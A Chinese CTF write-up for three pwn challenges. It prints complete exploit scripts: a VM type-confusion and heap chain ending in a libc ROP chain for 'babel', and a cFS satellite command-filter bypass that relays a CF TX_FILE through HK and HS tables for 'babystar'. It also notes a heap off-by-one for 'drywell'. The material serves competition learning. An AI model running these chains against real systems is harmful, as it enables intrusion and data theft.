利用脚本对按 Dockerfile 部署的本地服务连续跑 5 次全部成功,对比赛远端 47.93.38.163:26647 连续 3 次全部成功(每次连接 ASLR 都不同,说明链条不依赖固定布局),拿到 flag。

七、完整 EXP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""babel (2026 ichunqiu) exploit
Vulnerability chain
    1. VM opcode 'concat' (0x0f) only checks the value tag parity. Feeding an
   ARRAY to it makes the VM use array element[0] (raw qword) as the data
   offset and array count as the length -> heap read primitive.
    2. A concat-produced string's capacity field is (len+1) while its payload is
   only len bytes -> string-set can write 1 byte past the payload, i.e. into
   the type byte of the following heap block.
    3. Corrupting a string's type (0 -> 1) makes the GC treat it as an array:
   its data pointer is no longer relocated during compaction. After a GC the
   stale pointer lands exactly on a following extern object -> arbitrary
   write into that object's fields (size = -1, slot = N).
    4. opcode 'bind' (0x19) then performs an 8-byte write to the runtime table,
   giving arbitrary read/write + a builtin function-pointer overwrite.
    5. Overwrite builtin[0] with libc   mov rsp, rdx ; ret      , call it with a ROP
   chain kept on the VM stack -> close(0), open('/flag'), read, fputs, exit.
"""
import socket, struct, sys, time
# ---- binary / libc constants (Ubuntu 24.04, glibc 2.39-0ubuntu8.9) ----
PIE_LEAK_OFF  = 0x59098   # &table[id] stored inside a builtin object
GOT_OPEN64   = 0x58e00   # .got slot used by open64@plt
LIBC_OPEN64  = 0x11b3f0
LIBC_STDOUT  = 0x2055c0  # IO_2_1_stdout
LIBC_PIVOT   = 0x5ef6f   # mov rsp, rdx ; ret
G_POPRDI_POPRBP = 0xe14a
G_POPRSI    = 0xe1ae
G_POPRAX_SKIP  = 0x1d190
G_POPRDX    = 0x29eb2
PLT_CLOSE    = 0xd0f0
PLT_OPEN64   = 0xd380
PLT_READ    = 0xd1e0
PLT_FPUTS    = 0xd3d0
PLT_EXIT    = 0xd1a0
BUF_REL     = 0x65e40 + 0x8000
SCRATCH_REL   = 0x75f50
class Asm:
  def init(self):
    self.b = bytearray()
  def emit(self, *parts):
    for p in parts:
      if isinstance(p, int):
        self.b.append(p)
      else:
        self.b += p
  def push(self, v):
    self.emit(b'\x01' + struct.pack('<Q', v & ((1 << 64) - 1)))
  def lit(self, data):
    self.emit(b'\x02' + struct.pack('<I', len(data)) + data)
  def pop(self):   self.emit(0x04)
  def dup(self):   self.emit(0x03)
  def add(self):   self.emit(0x05)
  def sub(self):   self.emit(0x06)
  def mul(self):   self.emit(0x07)
  def arr(self, n): self.emit(b'\x08' + struct.pack('<I', n))
  def sget(self, i): self.emit(b'\x0c' + struct.pack('<I', i))
  def sset(self, i): self.emit(b'\x0d' + struct.pack('<I', i))
  def concat(self): self.emit(0x0f)
  def lg(self, i):  self.emit(bytes([0x10, i & 0xff]))
  def sg(self, i):  self.emit(bytes([0x11, i & 0xff]))
  def pr(self):   self.emit(0x12)
  def bobj(self, i): self.emit(bytes([0x14, i & 0xf]))
  def ext(self, n): self.emit(b'\x16' + struct.pack('<I', n))
  def extr(self, i): self.emit(b'\x17' + struct.pack('<I', i))
  def bind(self):  self.emit(0x19)
  def call(self, i, n): self.emit(bytes([0x20, 0x99, i & 0xf, n & 0xff]))
  def gadd(self, g, c):
    """push (global[g] + c)"""
    self.lg(g); self.push(c); self.add()
def build(path=b'/flag'):
  if isinstance(path, str):
    path = path.encode()
  path = path + b'\x00'
  a = Asm()
  # ------------------------------------------------------------------
  # 1) leak PIE via a builtin object (+0x18 holds &0x59098+id*8)
  #  assemble the half value directly: pie_base/2
  # ------------------------------------------------------------------
  a.bobj(0); a.sg(0)           # builtin object at heap offset 0
  a.push(0)
  for _ in range(0x3f):
    a.push(0)
  a.arr(0x40)               # reader array: elem0 = 0
  a.push(0); a.concat(); a.sg(1)     # 0x40 heap bytes -> string
  a.lg(1); a.sget(0x1f)          # b7
  for i in range(6, 0, -1):
    a.push(256); a.mul()
    a.lg(1); a.sget(0x18 + i); a.add()
  a.push(128); a.mul(); a.push(0x98 // 2); a.add()
  a.push(PIE_LEAK_OFF // 2); a.sub()
  a.sg(10)                # g10 = pie_base / 2
  a.push(0); a.sg(0); a.push(0); a.sg(1) # drop leak objects
  # ------------------------------------------------------------------
  # 2) growing a big live string forces a GC that cleans the heap;
  #  afterwards the doubling chain stays live so the heap is clean
  # ------------------------------------------------------------------
  a.lit(b'\x00' * 0x10); a.sg(20)
  for i in range(1, 13):         # 0x10 .. 0x10000
    a.lg(20 + i - 1); a.dup(); a.concat(); a.sg(20 + i)
  # ------------------------------------------------------------------
  # 3) heap layout: [dead Zd (0x100)][S1][S2][T]
  #  S2 length = 0x100 == Zd total size -> stale data points at T
  # ------------------------------------------------------------------
  zd = bytearray(b'\x00' * 0xE0)
  pos = len(a.b); data_off = pos + 5
  k = 0x40
  while (0x65e40 + data_off + k) & 1:
    k += 1
  zd[k:k + len(path)] = path
  path_rel = (0x65e40 + data_off + k) // 2
  a.lit(bytes(zd)); a.pop()        # Zd: dead, total 0x100
  a.lg(24); a.push(0); a.concat(); a.sg(40)  # S1 len 0x100
  a.lg(24); a.push(0); a.concat(); a.sg(41)  # S2 len 0x100
  a.ext(16); a.sg(42)             # T: extern object
  a.lg(40); a.push(1); a.sset(0x100)   # S1[0x100] -> S2.type = 1
  a.lg(32); a.dup(); a.concat(); a.pop() # GC: S2 data becomes stale == T
  for i in range(0x14, 0x18):       # T.size = 0xFFFFFFFF (-1)
    a.lg(41); a.push(0xFF); a.sset(i)
  a.lg(41); a.push(0x00); a.sset(0x18)  # T.slot = 0
  # ------------------------------------------------------------------
  # 4) bind slot 0 to &open64@got and read libc base
  # ------------------------------------------------------------------
  a.lg(10); a.push(2); a.mul(); a.sg(43) # g43 = pie_base
  a.lg(42); a.gadd(43, GOT_OPEN64); a.bind()
  a.lg(42); a.extr(7)
  for i in range(6, -1, -1):
    a.push(256); a.mul(); a.lg(42); a.extr(i); a.add()
  a.sg(44)
  a.lg(44); a.push(LIBC_OPEN64); a.sub(); a.sg(45)  # g45 = libc base
  # half value for the chain
  a.lg(42); a.extr(7)
  for i in range(6, 0, -1):
    a.push(256); a.mul(); a.lg(42); a.extr(i); a.add()
  a.push(128); a.mul(); a.push(0xF0 // 2); a.add()
  a.push(LIBC_OPEN64 // 2); a.sub(); a.sg(46)    # g46 = libc/2
  # ------------------------------------------------------------------
  # 5) overwrite builtin[0] with the pivot gadget (bind slot 8)
  # ------------------------------------------------------------------
  a.lg(41); a.push(0x08); a.sset(0x18)
  a.lg(42); a.gadd(45, LIBC_PIVOT); a.bind()
  # ------------------------------------------------------------------
  # 6) ROP chain on the VM stack (each entry = address/2)
  # ------------------------------------------------------------------
  chain = [
    ('base', G_POPRDI_POPRBP), ('v', 0), ('v', 0),
    ('base', PLT_CLOSE),             # close(0)
    ('base', G_POPRDI_POPRBP), ('path', 0), ('v', 0),
    ('base', G_POPRSI), ('v', 0),
    ('base', PLT_OPEN64),            # open("/flag", 0) -> fd 0
    ('base', G_POPRDI_POPRBP), ('v', 0), ('v', 0),
    ('base', G_POPRSI), ('buf', 0),
    ('base', G_POPRAX_SKIP), ('base', SCRATCH_REL), ('v', 0), ('v', 0), ('v', 0),
    ('base', G_POPRDX), ('v', 0x100), ('v', 0),
    ('base', PLT_READ),             # read(0, buf, 0x100)
    ('base', G_POPRDI_POPRBP), ('buf', 0), ('v', 0),
    ('base', G_POPRSI), ('libc', LIBC_STDOUT),
    ('base', PLT_FPUTS),             # fputs(buf, stdout)
    ('base', G_POPRDI_POPRBP), ('v', 0), ('v', 0),
    ('base', PLT_EXIT),
  ]
  for ent in chain:
    if ent[0] == 'v':
      a.push(ent[1] // 2 if ent[1] else 0)
    elif ent[0] == 'base':
      a.gadd(10, ent[1] // 2)
    elif ent[0] == 'path':
      a.gadd(10, path_rel)
    elif ent[0] == 'buf':
      a.gadd(10, BUF_REL // 2)
    elif ent[0] == 'libc':
      a.gadd(46, ent[1] // 2)
  a.call(0, len(chain))
  return bytes(a.b)
def exploit(host, port, path=b'/flag', timeout=10):
  prog = build(path)
  s = socket.create_connection((host, port), timeout=timeout)
  s.settimeout(timeout)
  s.sendall(struct.pack('<I', len(prog)) + prog)
  out = b''
  try:
    while True:
      d = s.recv(4096)
      if not d:
        break
      out += d
  except socket.timeout:
    pass
  s.close()
  return out
if __name__ == '__main__':
  if len(sys.argv) < 2:
    print('usage: exploit.py   [path]')
    sys.exit(1)
  host = sys.argv[1]
  port = int(sys.argv[2])
  path = sys.argv[3] if len(sys.argv) > 3 else '/flag'
  res = exploit(host, port, path.encode())
  sys.stdout.write(res.decode('latin1'))
  print()

八、flag

flag{fb3c253c-3687-4b79-8504-17c61d6b6cae}

考点补充

  • 核心考点:手写字节码虚拟机的指令语义还原与类型混淆——concat 只按最低位奇偶性判类型,数组被当成字符串拼接即成为任意堆读;再叠加字符串容量字段与实际 payload 相差 1 字节的 off-by-one,越界改写相邻堆块类型。

  • 关键技巧:用「类型污染 + 压缩式 GC」制造悬空数据指针,让 S2 的旧数据指针恰好落在搬迁后的 extern 对象 T 上,从而伪造出 size = -1 的对象;再用 bind 对 table[slot] 的 8 字节写换取任意读写,最后以 libc+0x5ef6f 的 mov rsp, rdx ; ret 把 VM 栈上的参数数组变成 ROP 链。

  • 常见坑:push 会把值左移一位,ROP 里每个地址都得压入「地址/2」且只能表示偶数常量,所以要 close(0) 让 open("/flag") 返回 fd 0、用 fputs(buf, stdout) 避开 fd 1;另外 concat 读堆的偏移要除 2,而 sset 的写入值是原值不除 2,写反会一直 type trap。

  • 延伸:seccomp 白名单放行的是 openat 而非 open,换到只给 openat 的环境可改成 openat(-100, "/flag", 0)(AT_FDCWD = -100 仍为偶数,可用 push 表示),并把路径地址放进可写的 VM 堆;同类「bump 分配 + 压缩 GC」的解释器只要存在一种 GC 不搬迁的类型,就可能复现这条 stale pointer 链。

babystar

本题给出一个有限权限的模拟卫星测控站,目标是从卫星端文件 /cf/host/flag 取回重要信息。靶场地址为 nc 47.93.22.114 36917(实例初始化约 2 分钟),链路使用以下四类帧:C 为地面到卫星的 CCSDS 命令包,F 为双向 CFDP PDU,T 为卫星到地面的遥测,E 为卫星到地面的 ASCII 错误文本。每帧的封装为 1 字节类型、4 字节大端长度、载荷三部分。

直接向 CF 的 TX_FILE 命令会被地面站过滤器拒绝(E command not permitted),但过滤器放行 CF 的 NOOP、TBL 的表加载/校验/激活以及 MM 消息。本文利用这一点:先通过 CFDP 上行把自定义的 HK 复制表和 HS 消息动作表写入 /cf/uplink,用 TBL 命令加载并激活;再由 HS 表触发 HK 发送组合包命令,把伪装成 MM 消息的 CF TX_FILE 载荷转发给 CF;最后 CF 以 CFDP 把 /cf/host/flag 下传,从 F 帧中取出 flag。整个链路在远端实例上完整执行并捕获到 flag。

先用 CF NOOP 确认链路和版本:向 MID 0x18B3 发送 function code 0 的空命令,收到事件 CF: No-Op received, Version 7.0.1.255。遥测流中的 APID 覆盖 0x0800、0x0801、0x0803、0x0804、0x0805、0x0880、0x0883、0x0884、0x088a、0x0890、0x089b、0x08a4、0x08a7、0x08aa、0x08ad、0x08b0、0x08b8、0x08fb,与 cFS 样例任务中 CF、HK、HS、TBL、MM 等应用的组合一致。CFDP 使用的实体号为地面 23、卫星 25。

链路探测与权限边界

地面站的权限边界可以直接用 C 帧探测。过滤器的判定粒度是“MID + function code”,不是“应用”:

探测命令

帧内容

结果

CF NOOP

MID 0x18B3,cc 0x00,8 字节

放行,事件 CF: No-Op received

CF TX_FILE(compat)

MID 0x18B3,cc 0x02,144 字节

拒绝,E command not permitted

TBL LOAD(不存在的文件)

MID 0x1804,cc 0x02,64 字节文件名

放行,事件 LoadFile,file=/cf/uplink/nonexist.tbl,tbl=[unknown]:Unable to open

MM 非法长度命令

MID 0x1888,145 字节

放行,事件 Invalid Msg length: ID = 0x1888, CC = 0, Len = 145, Expected = 8

由此可以确定:危险的是 CF 的 TX_FILE 本身;表管理和 MM 消息仍可用。于是把“发 TX_FILE”这一步从地面站移到卫星内部完成:用 HK 的复制表把一条 MM 消息改造成 CF 命令,再由 HS 的消息动作触发 HK 发送。

CFDP 桥接帧格式

F 帧不是标准的 cFS CFDP 标志位布局,而是靶场桥接器的简化格式。实测两种类型字节:0x20 表示 metadata,0x30 表示 file data;如果按 cFS 规范把 0x30 当 metadata 发,会收到 E file data without metadata,可以反证这一点。每个 PDU 的头部为:

偏移

长度

字段

0

1

类型:0x20 metadata / 0x30 file data

1

2

后续数据长度(大端)

3

1

eid_tsn_lengths,本靶场取 0x00(EID/事务号均为 1 字节)

4

1

源 EID,地面为 23

5

1

事务号,1 字节(0–255)

6

1

目的 EID,卫星为 25

7

…

PDU 数据

三类 PDU 的数据部分分别为:Metadata:07 00 + 文件大小(4 字节大端)+ LV 源文件名 + LV 目的文件名。07 是 Metadata 指令码,00 是控制字节(checksum type 0、无闭合请求)。File Data:4 字节大端偏移 + 文件内容。EOF:04 00 + 校验和(4 字节大端,按 32 位大端字求和取模 2^32)+ 文件大小(4 字节大端)。

一次合法的上传会依次产生如下事件(以 5 字节文件为例):

EV: CF R2(23:10): starting transaction using temp file '/cf/tmp/23_10.tmp'
EV: CF R2(23:10): md received, source: probe.tbl, dest: /cf/uplink/probe.tbl
EV: CF R2(23:10): successfully retained file as /cf/uplink/probe.tbl

也就是说,桥接器会把目的文件名规范化到 /cf/uplink/ 目录下;测试中曾对不安全的目的名返回 E unsafe CFDP destination filename。另外,桥接器对 file data 有内容白名单:如果第一个 file-data PDU 不是合法的 cFE1 表镜像,数据会被丢弃,接收端随后发 NAK。例如上传内容 HELLO 时,EOF 后收到:

F: 28001100170a190800000000000000000000000000000005

这是 08(NAK)指令、范围 0–5 的重传请求;而上传一个 600 字节、以 cFE1 表头开头的镜像时,两段数据都被接收并成功保留。因此后续上传 HS 表时采用“封面”技巧:第一个 file-data PDU 先发一个同长度的合法 HK 表镜像,通过检查后再用真实内容覆盖同一偏移;EOF 校验和按真实内容计算。

cFE1 表镜像与 HK 复制表

cFE1 表镜像的格式为 64 字节文件头、52 字节表头、表数据三部分:

部分

内容

文件头(64B)

魔数 0x63464531(ASCII cFE1)、8、64、0x42、1、0、0、0、Table Image

表头(52B)

0、0、表数据长度(4B 大端)、表名(40B)

表数据

按 CFE TBL 的表结构序列化

HK 的复制表 HK.CopyTable 由 128 个 16 字节条目组成。条目结构为:

typedef struct {
    CFE_SB_MsgId_t InputMid;      //  4B
    uint16         InputOffset;   //  2B
                                  //  2B 对齐填充
    CFE_SB_MsgId_t OutputMid;     //  4B
    uint16         OutputOffset;  //  2B
    uint16         NumBytes;      //  2B
} HK_CopyTableEntry_t;            // 16B

前 5 条沿用默认表的部分输入(0x0801、0x0805、0x0803、0x0800、0x0804),各自从报文偏移 12 复制 4 字节到输出 MID 0x089C 的偏移 12、16、20、24、28,用来维持 HK 组合包的常规字段;它们不是绕过链的关键。真正关键的是最后两条:

InputMid

InputOffset

OutputMid

OutputOffset

NumBytes

作用

0x1888

8

0x18B3

8

136

把 MM 消息的载荷复制成 CF 命令载荷

0x1888

144

0x18B3

6

1

把最后一个字节 0x20 写到 CF 功能码

输出包的大小由“最大 OutputOffset + NumBytes”决定,正好是 144 字节;HK 用 CFE_MSG_Init 把消息 MID 初始化为 0x18B3,再把复制到的数据放到对应偏移。于是输出包就是一条总长 144 字节的 CF 命令:偏移 6 为功能码 0x20(CF_TX_FILE),偏移 8 起为 136 字节的 CF_TxFile_Payload_t。偏移 7 的校验和保持 0,CF 仍然接受了这条命令。

上传并激活该表的过程与普通表一致:

EV: LoadFile,file=/cf/uplink/hk_cf.tbl,tbl=HK.CopyTable:Successful load into working buffer
EV: HK validation successful for inactive 'HK.CopyTable'
EV: HK Successfully Updated 'HK.CopyTable'

HS 表与卫星内部触发

这里有一个细节:HK 的复制表只在收到输入 MID 的消息时复制数据,它本身并不发送输出包。HK 源码中的 HK_ProcessNewCopyTable 为每个 OutputMid 分配组合包缓冲区,真正发送要等 HK_SendCombinedHkPacket;该函数由 HK_SEND_COMBINED_PKT 命令触发,本题该命令 MID 为 0x189C,载荷是 4 字节的目标 MID。也就是说,还需要在卫星内部发一条 MID 为 0x189C、载荷为 0x18B3 的消息,HK 才会把伪造的 CF 命令发到总线上。

cFS HS 的两张表正好提供了“发一条存储消息”的能力:

HS.MsgActs_Tbl 的消息动作条目为 uint16 EnableState、uint16 Cooldown、4 字节对齐填充、16 字节消息缓冲,共 24 字节。我们只填第一条:EnableState=1、Cooldown=0、消息为 ccsds(0x189C, 0, pack("<I", 0x18B3)),即“让 HK 发送组合包 0x18B3”。

HS.AppMon_Tbl 的应用监控条目为 char AppName[20]、uint16 NullTerm、uint16 CycleCount、uint16 ActionType,共 26 字节。我们填 NO_SUCH_APP、0、1、4:监控一个不存在的应用,1 个周期后判定失败,执行动作 4(消息动作,索引 0)。

两张表的镜像分别只有 140 和 142 字节,表数据只覆盖第一条。TBL 的镜像加载按偏移覆盖,校验函数只检查有效条目,因此部分镜像可以通过。实测校验事件为:

EV: MsgActs verify results: good = 2, bad = 0, unused = 6
EV: HS validation successful for inactive 'HS.MsgActs_Tbl'
EV: AppMon verify results: good = 1, bad = 0, unused = 31
EV: HS validation successful for inactive 'HS.AppMon_Tbl'

HS 表的真实内容不是 HK 表镜像,不能通过上行的第一个 PDU 白名单,因此上传时使用 overlap=True:先用 table_image("HK.CopyTable", bytes(len(content)-116)) 生成同长度的封面,完整发送一遍;再完整发送真实内容,覆盖同一段偏移;EOF 的校验和与大小按真实内容计算。封面只用于让第一个 file-data PDU 通过检查,最终落盘的是真实表。

载波构造与触发顺序

载波是一条伪装成 MM 命令的 C 帧。MID 用 0x1888(MM),功能码 0,载荷为 CF 的 TX_FILE 结构加一个尾字节 0x20:

cf_body = struct.pack(
    "<BBBBI64s64s",
    0,     # cfdp_class: 0 = class 1
    1,     # keep
    1,     # chan_num: 1
    0,     # priority
    23,    # dest_id: 地面 EID
    b"/cf/host/flag",
    b"flag",
)
carrier = ccsds(0x88, 0, cf_body + b"\x20")  # 145B

struct.pack 的 136 字节载荷放在偏移 8;尾字节 0x20 放在偏移 144,供 HK 复制到输出包的偏移 6(功能码)。载波总长 145 字节,MM 会因长度不符拒绝,但 HK 仍然按自己的复制表复制,MM 的拒绝不影响这条链路。发送载波后,HK 的 0x18B3 输出缓冲区已经被填好,但还没有发送。

触发顺序必须是:① 激活 HS.MsgActs_Tbl(之前已完成);② 加载并校验 HS.AppMon_Tbl,但先不激活;③ 发送载波,等待约 2 秒,让 HK 完成复制;④ 激活 HS.AppMon_Tbl。激活后 HS 发现 NO_SUCH_APP 缺失,执行动作 4,发送存储的 HK_SEND_COMBINED_PKT(0x18B3);HK 随即把 144 字节的伪造 CF 命令发到总线。实际事件如下:

EV: Invalid Msg length: ID = 0x1888, CC = 0, Len = 145, Expected = 8
EV: HS Successfully Updated 'HS.AppMon_Tbl'
EV: App Mon not found: NO_SUCH_APP, status=c4000002
EV: App Monitor Failure: APP: (NO_SUCH_APP): Action: Message Action Index: 0
EV: CF: start class 1 tx of file 25:/cf/host/flag -> 23:flag
EV: CF: file transfer successfully initiated

下传解析与 flag

CF 以 class 1 把 /cf/host/flag 发往 EID 23,通道 1。由于 CF 的 TX 通道消息被桥接器转成 F 帧,下传的 metadata 和 file data 会直接出现在链路上。

下传的两个 F 帧如下(已去掉 1 字节类型和 4 字节长度,保留 PDU):

F: 2400190019011707000000002a0d2f63662f686f73742f666c616704666c6167
F: 34002e0019011700000000666c61677b65343164363364652d646333392d343430382d623966622d3133393464386330643831317d

第一帧是 metadata:类型 0x24,长度 0x0019,eid_tsn_lengths=0x00,源 25,事务号 1,目的 23,数据为 07 00 0000002a 0d "/cf/host/flag" 04 "flag",文件大小为 42 字节。第二帧是 file data:类型 0x34,长度 0x002e,源 25,事务号 1,目的 23,数据为 4 字节偏移 0 加 42 字节文件内容。按“类型字节的 0x10 位为 file data、偏移 4 为源 EID 25”解析,取偏移 7 起的 4 字节作为数据偏移,偏移 11 起为文件内容;按偏移拼接后用正则匹配 flag{[^}]+},得到:

flag{e41d63de-dc39-4408-b9fb-1394d8c0d811}

完整复现脚本

以下脚本是实际使用的完整复现脚本,包含协议封装、表镜像构造、CFDP 上传、TBL 加载/校验/激活、载波发送、HS 触发与下传解析。运行方式为 python exploit.py <txn_base>;txn_base 取 0–255,配合三个上传事务号使用。

import re
import socket
import struct
import sys
import time
​
DEFAULT_HOST = "47.93.22.114"
DEFAULT_PORT = 36917
​
​
def ccsds(apid, code, body=b""):
    header = struct.pack(">HHHBB", 0x1800 | apid, 0xC000,
                         len(body) + 1, code, 0)
    packet = bytearray(header + body)
    packet[7] = 0xFF  # checksum is not verified by this build
    return bytes(packet)
​
​
def table_image(name, data):
    # cFS table image: 64-byte file header + 52-byte table header + payload
    fs_header = struct.pack(">8I32s", 0x63464531, 8, 64, 0x42,
                            1, 0, 0, 0, b"Table Image")
    tbl_header = struct.pack(">III40s", 0, 0, len(data), name.encode())
    return fs_header + tbl_header + data
​
​
def hk_entry(input_mid, input_offset, output_mid, output_offset, count):
    # InputMid(4) InputOffset(2) pad(2) OutputMid(4) OutputOffset(2) NumBytes(2)
    fmt = "<I H 2x I H H"
    return struct.pack(fmt, input_mid, input_offset,
                       output_mid, output_offset, count)
​
​
def build_payloads():
    # Keep the five normal HK combined-packet inputs, then two relay entries.
    defaults = [0x0801, 0x0805, 0x0803, 0x0800, 0x0804]
    entries = [
        hk_entry(mid, 12, 0x089C, 12 + 4 * i, 4)
        for i, mid in enumerate(defaults)
    ]
    entries += [
        hk_entry(0x1888, 8, 0x18B3, 8, 136),
        hk_entry(0x1888, 144, 0x18B3, 6, 1),
    ]
    hk = table_image("HK.CopyTable", b"".join(entries).ljust(2048, b"\0"))
    # HS message action: send HK_SEND_COMBINED_PKT(0x18B3) on MID 0x189C.
    trigger = ccsds(0x9C, 0, struct.pack("<I", 0x18B3))
    mat = table_image("HS.MsgActs_Tbl", struct.pack("<HH4x16s", 1, 0, trigger))
    # HS app monitor: NO_SUCH_APP is always missing -> action 4 -> action index 0.
    amt = table_image("HS.AppMon_Tbl",
                      struct.pack("<20sHHH", b"NO_SUCH_APP", 0, 1, 4))
    # CF TX_FILE (standard CC=0x20) payload disguised as an invalid MM NOOP.
    cf_body = struct.pack("<BBBBI64s64s", 0, 1, 1, 0, 23,
                          b"/cf/host/flag", b"flag")
    carrier = ccsds(0x88, 0, cf_body + b"\x20")
    assert len(hk) == 2164 and len(mat) == 140
    assert len(amt) == 142 and len(carrier) == 145
    return hk, mat, amt, carrier
​
​
def cfdp_pdu(mode, txn, data):
    # type byte 0x20=metadata, 0x30=file data; lengths byte 0 => 1-byte fields.
    header = bytes([23, txn, 25])
    return bytes([mode]) + len(data).to_bytes(2, "big") + b"\0" + header + data
​
​
def cfdp_checksum(content):
    padded = content + b"\0" * (-len(content) % 4)
    total = sum(int.from_bytes(padded[i:i + 4], "big")
                for i in range(0, len(padded), 4))
    return total & 0xFFFFFFFF
​
​
def read_exact(sock, length):
    buf = bytearray()
    while len(buf) < length:
        part = sock.recv(length - len(buf))
        if not part:
            raise EOFError("connection closed")
        buf.extend(part)
    return bytes(buf)
​
​
class Link:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port), 8)
        self.sock.settimeout(0.4)
        self.flag = None
        self.parts = {}
​
    def send(self, kind, payload):
        self.sock.sendall(kind + len(payload).to_bytes(4, "big") + payload)
​
    def send_command(self, apid, code, body=b""):
        self.send(b"C", ccsds(apid, code, body))
​
    def receive(self, seconds, expected=None):
        end = time.time() + seconds
        while time.time() < end:
            try:
                header = read_exact(self.sock, 5)
                payload = read_exact(self.sock, int.from_bytes(header[1:], "big"))
            except socket.timeout:
                continue
            kind = header[:1]
            if kind == b"E":
                raise RuntimeError(payload.decode(errors="replace"))
            if kind == b"T" and payload[:2] == b"\x08\x08":
                event = payload[48:].split(b"\0")[0].decode(errors="replace")
                if event:
                    print("EV:", event)
                if expected and expected in event:
                    return True
            if kind == b"F":
                self._on_f(payload)
                if self.flag and expected is None:
                    return True
        if expected:
            raise TimeoutError(f"no event containing {expected!r}")
        return False
​
    def _on_f(self, payload):
        found = re.search(rb"flag{[^}]+}", payload)
        if found:
            self.flag = found.group().decode()
        # Downlink file-data PDU: type bit 0x10 set, source EID 25 at offset 4.
        if len(payload) >= 11 and (payload[0] & 0x10) and payload[4] == 25:
            offset = int.from_bytes(payload[7:11], "big")
            self.parts[offset] = payload[11:]
            content = b"".join(self.parts[pos] for pos in sorted(self.parts))
            found = re.search(rb"flag{[^}]+}", content)
            if found:
                self.flag = found.group().decode()
​
    def upload(self, name, content, txn, overlap=False):
        versions = [content]
        if overlap:
            # Uplink allowlist examines the first file-data PDU only:
            # send a legal HK table image of the same length first, then overwrite it.
            cover = table_image("HK.CopyTable", bytes(len(content) - 116))
            assert len(cover) == len(content)
            versions = [cover, content]
        filename = name.encode()
        metadata = b"\x07\0" + len(content).to_bytes(4, "big")
        lv_name = bytes([len(filename)]) + filename
        metadata += lv_name + lv_name
        self.send(b"F", cfdp_pdu(0x20, txn, metadata))
        self.receive(0.5)
        for version in versions:
            for offset in range(0, len(version), 480):
                segment = offset.to_bytes(4, "big") + version[offset:offset + 480]
                self.send(b"F", cfdp_pdu(0x30, txn, segment))
                self.receive(0.5)
        eof_crc = cfdp_checksum(content).to_bytes(4, "big")
        eof = b"\x04\0" + eof_crc + len(content).to_bytes(4, "big")
        self.send(b"F", cfdp_pdu(0x20, txn, eof))
        self.receive(12, f"successfully retained file as /cf/uplink/{name}")
​
    def load_and_validate(self, filename, table_name):
        self.send_command(0x04, 2, f"/cf/uplink/{filename}".encode().ljust(64, b"\0"))
        self.receive(10, "Successful load into working buffer")
        self.send_command(0x04, 4, b"\0\0" + table_name.encode().ljust(40, b"\0"))
        self.receive(10, "validation successful")
​
    def activate(self, table_name):
        self.send_command(0x04, 5, table_name.encode().ljust(40, b"\0"))
        self.receive(10, f"Successfully Updated '{table_name}'")
​
​
def main():
    host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
    port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
    txn_base = int(sys.argv[3]) if len(sys.argv) > 3 else 200
    hk, mat, amt, carrier = build_payloads()
    link = Link(host, port)
    try:
        link.upload("hk_cf.tbl", hk, txn_base)
        link.load_and_validate("hk_cf.tbl", "HK.CopyTable")
        link.activate("HK.CopyTable")
        link.upload("hs_mat_x.tbl", mat, txn_base + 1, overlap=True)
        link.load_and_validate("hs_mat_x.tbl", "HS.MsgActs_Tbl")
        link.activate("HS.MsgActs_Tbl")
        link.upload("hs_amt_x.tbl", amt, txn_base + 2, overlap=True)
        link.load_and_validate("hs_amt_x.tbl", "HS.AppMon_Tbl")
        link.send(b"C", carrier)  # MM rejects it, HK still copies it into 0x18B3
        link.receive(2)
        link.activate("HS.AppMon_Tbl")  # fires the stored HK command
        if not link.flag:
            link.receive(30)
        if not link.flag:
            raise TimeoutError("flag file was not received")
        print("FLAG:", link.flag)
    finally:
        link.sock.close()
​
​
if __name__ == "__main__":
    main()

远端复现结果

在远端实例 47.93.22.114:36917 上完整执行上述链路,CF 返回 file transfer successfully initiated,随后下传的 file data PDU 中包含 flag;该值来自卫星端 /cf/host/flag 的实际文件内容,而不是本地测试串。记录如下:

EV: CF: start class 1 tx of file 25:/cf/host/flag -> 23:flag
F: 34002e0019011700000000666c61677b65343164363364652d646333392d343430382d623966622d3133393464386330643831317d
FLAG: flag{e41d63de-dc39-4408-b9fb-1394d8c0d811}

考点补充

  • 核心考点:cFS 卫星软件的命令权限绕过——地面站过滤器只认“MID + function code”,封死了 CF TX_FILE,却放行 TBL 表加载与 MM 消息,于是一条被放行的表加载路径就能把受限功能重新装回总线。

  • 关键技巧:用 HK.CopyTable 的两条复制条目把 MM 消息载荷(偏移 8,136 字节)和尾字节 0x20 分别搬到输出 MID 0x18B3 的偏移 8 与偏移 6,拼出 144 字节的合法 CF_TX_FILE;再用 HS.AppMon 监控不存在的应用触发消息动作,发出 HK_SEND_COMBINED_PKT(0x18B3) 把这份缓冲区真正送出去;上行则用同长度合法 HK 表作封面通过首个 file-data PDU 白名单,再以真实内容覆盖同一偏移、EOF 按真实内容算校验和。

  • 常见坑:桥接器的 F 帧类型字节是 0x20/0x30 而非 cFS 规范的标志位布局,按规范发 0x30 当 metadata 会得到 file data without metadata;EOF 校验和是“按 32 位大端字求和取模 2^32”,算错就让落盘失败;HS 部分镜像依赖 TBL 按偏移覆盖且只校验有效条目;触发顺序若先激活 AppMon 再发载波,HK 缓冲区还是空的,必须发完载波等约 2 秒再激活。

  • 延伸:这类“入口过滤、内部能力齐全”的架构(cFS、CCSDS 星载总线)可统一看成“找一条被放行的数据通道,把受限命令降级成数据搬进去”;同样的思路适用于工控与航天总线的命令注入评估,也说明只按 function code 做黑名单而忽略应用间消息转发是不够的。

drywell

漏洞位于 cmd_edit()。写完 len 字节后,程序还会在 n->data[n->cap] 补写一个字节:

n->data[n->cap] = (char)(((((len >> 4) ^ poison_key) & 0xe) << 4) |
             (n->data[n->cap] & 0x0f));

note 的 cap 恰好等于该 chunk 的可用大小,因此 n->data[n->cap] 正是下一个物理 chunk 的 size 字段首字节。poison_key 从 /key 读取并 &= 0xf,只有 4 bit。写入值保留原 size 的低 4 位(包括 PREV_INUSE),高半字节取 ((len >> 4) ^ poison_key) & 0xe。

因此每次 edit 都能把相邻 chunk 的 size 在同一 0x100 块内按 0x20 步长改变:0x500→0x520/0x540/…/0x5e0;不能跨 0x100 块,但足以制造伪造 free、重叠 chunk 和 unsorted bin 攻击。

view 只有 8 次,泄漏机会必须省着用。本解用 2 次得到 libc 和 heap,1 次读 environ,剩余用于确认 main 的 saved RIP。

